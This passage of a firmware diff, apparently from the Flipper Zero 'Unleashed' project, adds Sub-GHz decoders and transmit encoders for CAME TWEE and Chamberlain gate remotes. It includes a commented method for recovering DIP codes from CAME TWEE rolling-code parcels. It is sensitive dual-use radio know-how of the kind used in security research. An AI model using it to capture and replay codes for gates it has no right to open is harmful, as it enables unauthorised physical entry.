+const SubGhzProtocolEncoder subghz_protocol_came_twee_encoder = {
+    .alloc = subghz_protocol_encoder_came_twee_alloc,
+    .free = subghz_protocol_encoder_came_twee_free,
+
+    .deserialize = subghz_protocol_encoder_came_twee_deserialize,
+    .stop = subghz_protocol_encoder_came_twee_stop,
+    .yield = subghz_protocol_encoder_came_twee_yield,
+};
+
+const SubGhzProtocol subghz_protocol_came_twee = {
+    .name = SUBGHZ_PROTOCOL_CAME_TWEE_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_came_twee_decoder,
+    .encoder = &subghz_protocol_came_twee_encoder,
+};
+
+void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderCameTwee* instance = malloc(sizeof(SubGhzProtocolEncoderCameTwee));
+
+    instance->base.protocol = &subghz_protocol_came_twee;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 1536; // 1308
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_came_twee_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameTwee* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static LevelDuration
+    subghz_protocol_encoder_came_twee_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_came_twee_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_came_twee_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_came_twee_const.te_long;
+        data.level = true;
+        break;
+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_came_twee_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderCameTwee instance
+ */
+static void subghz_protocol_encoder_came_twee_get_upload(SubGhzProtocolEncoderCameTwee* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    uint64_t temp_parcel = 0x003FFF7200000000; //parcel mask
+
+    for(int i = 14; i >= 0; i--) {
+        temp_parcel = (temp_parcel & 0xFFFFFFFF00000000) |
+                      (instance->generic.serial ^ came_twee_magic_numbers_xor[i]);
+
+        for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+            if(!manchester_encoder_advance(&enc_state, !bit_read(temp_parcel, i - 1), &result)) {
+                instance->encoder.upload[index++] =
+                    subghz_protocol_encoder_came_twee_add_duration_to_upload(result);
+                manchester_encoder_advance(&enc_state, !bit_read(temp_parcel, i - 1), &result);
+            }
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_came_twee_add_duration_to_upload(result);
+        }
+        instance->encoder.upload[index] = subghz_protocol_encoder_came_twee_add_duration_to_upload(
+            manchester_encoder_finish(&enc_state));
+        if(level_duration_get_level(instance->encoder.upload[index])) {
+            index++;
+        }
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_came_twee_const.te_long * 51);
+    }
+    instance->encoder.size_upload = index;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_came_twee_remote_controller(SubGhzBlockGeneric* instance) {
+    /*      Came Twee 54 bit, rolling code 15 parcels with
+    *       a decreasing counter from 0xE to 0x0
+    *       with originally coded dip switches on the console 10 bit code
+    * 
+    *  0x003FFF72E04A6FEE
+    *  0x003FFF72D17B5EDD
+    *  0x003FFF72C2684DCC
+    *  0x003FFF72B3193CBB
+    *  0x003FFF72A40E2BAA
+    *  0x003FFF72953F1A99
+    *  0x003FFF72862C0988
+    *  0x003FFF7277DDF877
+    *  0x003FFF7268C2E766
+    *  0x003FFF7259F3D655
+    *  0x003FFF724AE0C544
+    *  0x003FFF723B91B433
+    *  0x003FFF722C86A322
+    *  0x003FFF721DB79211
+    *  0x003FFF720EA48100
+    * 
+    *   decryption
+    * the last 32 bits, do XOR by the desired number, divide the result by 4,
+    * convert the first 16 bits of the resulting 32-bit number to bin and do
+    * bit-by-bit mirroring, adding up to 10 bits
+    * 
+    * Example
+    * Step 1. 0x003FFF721DB79211        => 0x1DB79211
+    * Step 4. 0x1DB79211 xor 0x1D1D1D11 => 0x00AA8F00
+    * Step 4. 0x00AA8F00 / 4            => 0x002AA3C0
+    * Step 5. 0x002AA3C0                => 0x002A
+    * Step 6. 0x002A    bin             => b101010
+    * Step 7. b101010                   => b0101010000
+    * Step 8. b0101010000               => (Dip) Off ON Off ON Off ON Off Off Off Off
+    */
+
+    uint8_t cnt_parcel = (uint8_t)(instance->data & 0xF);
+    uint32_t data = (uint32_t)(instance->data & 0x0FFFFFFFF);
+
+    data = (data ^ came_twee_magic_numbers_xor[cnt_parcel]);
+    instance->serial = data;
+    data /= 4;
+    instance->btn = (data >> 4) & 0x0F;
+    data >>= 16;
+    data = (uint16_t)subghz_protocol_blocks_reverse_key(data, 16);
+    instance->cnt = data >> 6;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameTwee* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        res = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_came_twee_const.min_count_bit_for_found);
+        if(res != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_came_twee_remote_controller(&instance->generic);
+        subghz_protocol_encoder_came_twee_get_upload(instance);
+        instance->encoder.front = 0; // reset position before start
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_came_twee_stop(void* context) {
+    SubGhzProtocolEncoderCameTwee* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0; // reset position
+}
+
+LevelDuration subghz_protocol_encoder_came_twee_yield(void* context) {
+    SubGhzProtocolEncoderCameTwee* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_came_twee_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderCameTwee* instance = malloc(sizeof(SubGhzProtocolDecoderCameTwee));
+    instance->base.protocol = &subghz_protocol_came_twee;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_came_twee_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_came_twee_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    instance->decoder.parser_step = CameTweeDecoderStepReset;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    ManchesterEvent event = ManchesterEventReset;
+    switch(instance->decoder.parser_step) {
+    case CameTweeDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long * 51) <
+                        subghz_protocol_came_twee_const.te_delta * 20)) {
+            //Found header CAME
+            instance->decoder.parser_step = CameTweeDecoderStepDecoderData;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventLongLow,
+                &instance->manchester_saved_state,
+                NULL);
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventLongHigh,
+                &instance->manchester_saved_state,
+                NULL);
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventShortLow,
+                &instance->manchester_saved_state,
+                NULL);
+        }
+        break;
+    case CameTweeDecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_short) <
+               subghz_protocol_came_twee_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long) <
+                subghz_protocol_came_twee_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else if(
+                duration >= ((uint32_t)subghz_protocol_came_twee_const.te_long * 2 +
+                             subghz_protocol_came_twee_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_came_twee_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongLow,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongHigh,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventShortLow,
+                    &instance->manchester_saved_state,
+                    NULL);
+            } else {
+                instance->decoder.parser_step = CameTweeDecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_short) <
+               subghz_protocol_came_twee_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long) <
+                subghz_protocol_came_twee_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = CameTweeDecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
+                instance->decoder.decode_count_bit++;
+            }
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_came_twee_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_came_twee_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_came_twee_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    subghz_protocol_came_twee_remote_controller(&instance->generic);
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Btn:%X\r\n"
+        "DIP:" DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_hi,
+        code_found_lo,
+        instance->generic.btn,
+        CNT_TO_DIP(instance->generic.cnt));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.h
new file mode 100644
index 000000000..f26f1e806
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CAME_TWEE_NAME "CAME TWEE"
+
+typedef struct SubGhzProtocolDecoderCameTwee SubGhzProtocolDecoderCameTwee;
+typedef struct SubGhzProtocolEncoderCameTwee SubGhzProtocolEncoderCameTwee;
+
+extern const SubGhzProtocolDecoder subghz_protocol_came_twee_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_came_twee_encoder;
+extern const SubGhzProtocol subghz_protocol_came_twee;
+
+/**
+ * Allocate SubGhzProtocolEncoderCameTwee.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderCameTwee* pointer to a SubGhzProtocolEncoderCameTwee instance
+ */
+void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
+ */
+void subghz_protocol_encoder_came_twee_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
+ */
+void subghz_protocol_encoder_came_twee_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_came_twee_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderCameTwee.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderCameTwee* pointer to a SubGhzProtocolDecoderCameTwee instance
+ */
+void* subghz_protocol_decoder_came_twee_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ */
+void subghz_protocol_decoder_came_twee_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ */
+void subghz_protocol_decoder_came_twee_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_came_twee_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_came_twee_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/chamberlain_code.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/chamberlain_code.c
new file mode 100644
index 000000000..3e003d4b6
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/chamberlain_code.c
@@ -0,0 +1,505 @@
+#include "chamberlain_code.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolChambCode"
+
+#define CHAMBERLAIN_CODE_BIT_STOP 0b0001
+#define CHAMBERLAIN_CODE_BIT_1    0b0011
+#define CHAMBERLAIN_CODE_BIT_0    0b0111
+
+#define CHAMBERLAIN_7_CODE_MASK 0xF000000FF0F
+#define CHAMBERLAIN_8_CODE_MASK 0xF00000F00F
+#define CHAMBERLAIN_9_CODE_MASK 0xF000000000F
+
+#define CHAMBERLAIN_7_CODE_MASK_CHECK 0x10000001101
+#define CHAMBERLAIN_8_CODE_MASK_CHECK 0x1000001001
+#define CHAMBERLAIN_9_CODE_MASK_CHECK 0x10000000001
+
+#define CHAMBERLAIN_7_CODE_DIP_PATTERN "%c%c%c%c%c%c%c"
+#define CHAMBERLAIN_7_CODE_DATA_TO_DIP(dip)                                                 \
+    (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'),     \
+        (dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
+        (dip & 0x0001 ? '1' : '0')
+
+#define CHAMBERLAIN_8_CODE_DIP_PATTERN "%c%c%c%c%cx%c%c"
+#define CHAMBERLAIN_8_CODE_DATA_TO_DIP(dip)                                                 \
+    (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'),     \
+        (dip & 0x0010 ? '1' : '0'), (dip & 0x0008 ? '1' : '0'), (dip & 0x0001 ? '1' : '0'), \
+        (dip & 0x0002 ? '1' : '0')
+
+#define CHAMBERLAIN_9_CODE_DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
+#define CHAMBERLAIN_9_CODE_DATA_TO_DIP(dip)                                                 \
+    (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'),     \
+        (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), (dip & 0x0008 ? '1' : '0'), \
+        (dip & 0x0001 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), (dip & 0x0004 ? '1' : '0')
+
+static const SubGhzBlockConst subghz_protocol_chamb_code_const = {
+    .te_short = 1000,
+    .te_long = 3000,
+    .te_delta = 200,
+    .min_count_bit_for_found = 10,
+};
+
+struct SubGhzProtocolDecoderChamb_Code {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderChamb_Code {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Chamb_CodeDecoderStepReset = 0,
+    Chamb_CodeDecoderStepFoundStartBit,
+    Chamb_CodeDecoderStepSaveDuration,
+    Chamb_CodeDecoderStepCheckDuration,
+} Chamb_CodeDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_chamb_code_decoder = {
+    .alloc = subghz_protocol_decoder_chamb_code_alloc,
+    .free = subghz_protocol_decoder_chamb_code_free,
+
+    .feed = subghz_protocol_decoder_chamb_code_feed,
+    .reset = subghz_protocol_decoder_chamb_code_reset,
+
+    .get_hash_data = subghz_protocol_decoder_chamb_code_get_hash_data,
+    .serialize = subghz_protocol_decoder_chamb_code_serialize,
+    .deserialize = subghz_protocol_decoder_chamb_code_deserialize,
+    .get_string = subghz_protocol_decoder_chamb_code_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_chamb_code_encoder = {
+    .alloc = subghz_protocol_encoder_chamb_code_alloc,
+    .free = subghz_protocol_encoder_chamb_code_free,
+
+    .deserialize = subghz_protocol_encoder_chamb_code_deserialize,
+    .stop = subghz_protocol_encoder_chamb_code_stop,
+    .yield = subghz_protocol_encoder_chamb_code_yield,
+};
+
+const SubGhzProtocol subghz_protocol_chamb_code = {
+    .name = SUBGHZ_PROTOCOL_CHAMB_CODE_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_chamb_code_decoder,
+    .encoder = &subghz_protocol_chamb_code_encoder,
+};
+
+void* subghz_protocol_encoder_chamb_code_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderChamb_Code* instance = malloc(sizeof(SubGhzProtocolEncoderChamb_Code));
+
+    instance->base.protocol = &subghz_protocol_chamb_code;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 24;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_chamb_code_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderChamb_Code* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static uint64_t subghz_protocol_chamb_bit_to_code(uint64_t data, uint8_t size) {
+    uint64_t data_res = 0;
+    for(uint8_t i = 0; i < size; i++) {
+        if(!(bit_read(data, size - i - 1))) {
+            data_res = data_res << 4 | CHAMBERLAIN_CODE_BIT_0;
+        } else {
+            data_res = data_res << 4 | CHAMBERLAIN_CODE_BIT_1;
+        }
+    }
+    return data_res;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_chamb_code_get_upload(SubGhzProtocolEncoderChamb_Code* instance) {
+    furi_assert(instance);
+
+    uint64_t data = subghz_protocol_chamb_bit_to_code(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    switch(instance->generic.data_count_bit) {
+    case 7:
+        data = ((data >> 4) << 16) | (data & 0xF) << 4 | CHAMBERLAIN_7_CODE_MASK_CHECK;
+        break;
+    case 8:
+        data = ((data >> 12) << 16) | (data & 0xFF) << 4 | CHAMBERLAIN_8_CODE_MASK_CHECK;
+        break;
+    case 9:
+        data = (data << 4) | CHAMBERLAIN_9_CODE_MASK_CHECK;
+        break;
+
+    default:
+        FURI_LOG_E(TAG, "Invalid bits count");
+        return false;
+        break;
+    }
+#define UPLOAD_HEX_DATA_SIZE 10
+    uint8_t upload_hex_data[UPLOAD_HEX_DATA_SIZE] = {0};
+    size_t upload_hex_count_bit = 0;
+
+    //insert guard time
+    for(uint8_t i = 0; i < 36; i++) {
+        subghz_protocol_blocks_set_bit_array(
+            0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+    }
+
+    //insert data
+    switch(instance->generic.data_count_bit) {
+    case 7:
+    case 9:
+        for(uint8_t i = 44; i > 0; i--) {
+            if(!bit_read(data, i - 1)) {
+                subghz_protocol_blocks_set_bit_array(
+                    0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+            } else {
+                subghz_protocol_blocks_set_bit_array(
+                    1, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+            }
+        }
+        break;
+    case 8:
+        for(uint8_t i = 40; i > 0; i--) {
+            if(!bit_read(data, i - 1)) {
+                subghz_protocol_blocks_set_bit_array(
+                    0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+            } else {
+                subghz_protocol_blocks_set_bit_array(
+                    1, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+            }
+        }
+        break;
+    }
+
+    instance->encoder.size_upload = subghz_protocol_blocks_get_upload_from_bit_array(
+        upload_hex_data,
+        upload_hex_count_bit,
+        instance->encoder.upload,
+        instance->encoder.size_upload,
+        subghz_protocol_chamb_code_const.te_short,
+        SubGhzProtocolBlockAlignBitLeft);
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderChamb_Code* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit >
+           subghz_protocol_chamb_code_const.min_count_bit_for_found) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_chamb_code_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_chamb_code_stop(void* context) {
+    SubGhzProtocolEncoderChamb_Code* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_chamb_code_yield(void* context) {
+    SubGhzProtocolEncoderChamb_Code* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_chamb_code_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderChamb_Code* instance = malloc(sizeof(SubGhzProtocolDecoderChamb_Code));
+    instance->base.protocol = &subghz_protocol_chamb_code;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_chamb_code_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_chamb_code_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+}
+
+static bool subghz_protocol_chamb_code_to_bit(uint64_t* data, uint8_t size) {
+    uint64_t data_tmp = data[0];
+    uint64_t data_res = 0;
+    for(uint8_t i = 0; i < size; i++) {
+        if((data_tmp & 0xFll) == CHAMBERLAIN_CODE_BIT_0) {
+            bit_write(data_res, i, 0);
+        } else if((data_tmp & 0xFll) == CHAMBERLAIN_CODE_BIT_1) {
+            bit_write(data_res, i, 1);
+        } else {
+            return false;
+        }
+        data_tmp >>= 4;
+    }
+    data[0] = data_res;
+    return true;
+}
+
+static bool subghz_protocol_decoder_chamb_code_check_mask_and_parse(
+    SubGhzProtocolDecoderChamb_Code* instance) {
+    furi_assert(instance);
+    if(instance->decoder.decode_count_bit >
+       subghz_protocol_chamb_code_const.min_count_bit_for_found + 1)
+        return false;
+
+    if((instance->decoder.decode_data & CHAMBERLAIN_7_CODE_MASK) ==
+       CHAMBERLAIN_7_CODE_MASK_CHECK) {
+        instance->decoder.decode_count_bit = 7;
+        instance->decoder.decode_data &= ~CHAMBERLAIN_7_CODE_MASK;
+        instance->decoder.decode_data = (instance->decoder.decode_data >> 12) |
+                                        ((instance->decoder.decode_data >> 4) & 0xF);
+    } else if(
+        (instance->decoder.decode_data & CHAMBERLAIN_8_CODE_MASK) ==
+        CHAMBERLAIN_8_CODE_MASK_CHECK) {
+        instance->decoder.decode_count_bit = 8;
+        instance->decoder.decode_data &= ~CHAMBERLAIN_8_CODE_MASK;
+        instance->decoder.decode_data = instance->decoder.decode_data >> 4 |
+                                        CHAMBERLAIN_CODE_BIT_0 << 8; //DIP 6 no use
+    } else if(
+        (instance->decoder.decode_data & CHAMBERLAIN_9_CODE_MASK) ==
+        CHAMBERLAIN_9_CODE_MASK_CHECK) {
+        instance->decoder.decode_count_bit = 9;
